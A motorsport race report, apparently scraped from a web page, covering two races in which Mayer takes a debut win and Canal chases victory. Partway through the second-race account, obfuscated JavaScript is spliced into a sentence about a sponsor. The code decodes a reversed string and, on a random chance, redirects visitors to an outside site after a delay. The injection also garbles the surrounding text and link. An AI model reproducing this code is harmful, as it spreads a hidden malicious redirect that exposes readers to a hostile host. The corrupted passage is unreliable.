Contact with Bintouq’s wing meant Seatter was now nursing a slow puncture, damage that was simultaneously raising the front right tyre off the ground and severely negating her braking. Despite battling her way past both Mayer and Canal into the lead by lap four, several times down the main straight Seatter locked her front tyres badly as she struggled to slow the recalcitrant machine down. All the while, Canal began to close back up, and on lap ten the Spaniard outdragged the leader on the main straight.
Now in second, Seatter once again locked her brakes into turn one, but the sorry state of her rear left tyre meant the #3 hardly slowed at all. Canal, already committed to the racing line, could do nothing to stop his Malaysian rival barrelling into him at high speed, her raised hand acknowledging fault despite their being nothing she could have done. Seatter would soon coast onto pitroad and into retirement.
With both leaders being pushed wide by the incident, a beneficial Mayer leapt into the lead and immediately started to pull away. A bad start to the weekend had seen Mayer forced to switch to the spare Ralph Firman-designed single seater after engine issues side-lined his usual contender.
An unfamiliar car (which had originally been allocated to new series recruit Weiron Tan, though continued visa issues meant the Malaysian rookie once again had to pull out of the event at the eleventh hour) didn’t stop Mayer from racing ahead of Canal, securing the fastest lap of the race, and scoring his debut series victory by nearly four seconds. A dejected Canal followed home second ahead of third-placed Haytham Sultan Al Ali, knowing that victory could well have been his.
A poor start put paid to Canal’s chances for victory almost immediately in the second race, allied to an electric start from Seatter who – incredibly – had leapt from last place to first after just four corners. Down in fourth behind Al Ali (who’s spiffy new gold livery in deference to new sponsor $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/jaguar-xkr-s-vs-skydive-thrill-seeker-part-two-2/” target=”_blank”>Skydive Dubai had clearly brought him some luck in race one), the race one polesitter at first began to drop back into the clutches of Bintouq.
The resurgence began on lap four though as the Spaniard’s tyres finally crept up to optimum temperature. Closing in on Al Ali, the #5 machine was past after a late dive into the first corner. One rival down, Canal began a charge to get onto the exhaust tips of race one winner Mayer.
